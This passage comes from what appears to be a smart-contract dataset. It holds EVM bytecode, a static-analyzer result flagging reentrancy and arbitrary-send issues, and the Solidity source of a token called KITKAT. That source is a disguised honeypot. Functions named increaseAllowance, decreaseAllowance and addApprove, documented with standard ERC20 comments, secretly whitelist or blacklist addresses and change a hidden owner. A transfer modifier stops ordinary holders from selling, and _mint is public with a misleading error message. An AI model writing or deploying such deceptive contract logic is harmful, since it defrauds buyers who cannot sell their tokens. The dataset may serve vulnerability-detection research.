357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bc84eac438a8eab1da17cfbb8aff62c770f62fe67396dbd9b802314ec795b6b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,113
0x824ea01d939c1b770f8bee7496126ad9379bd1b3
pragma solidity ^0.6.12; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract KITKAT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; //25 lines _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526006815260200180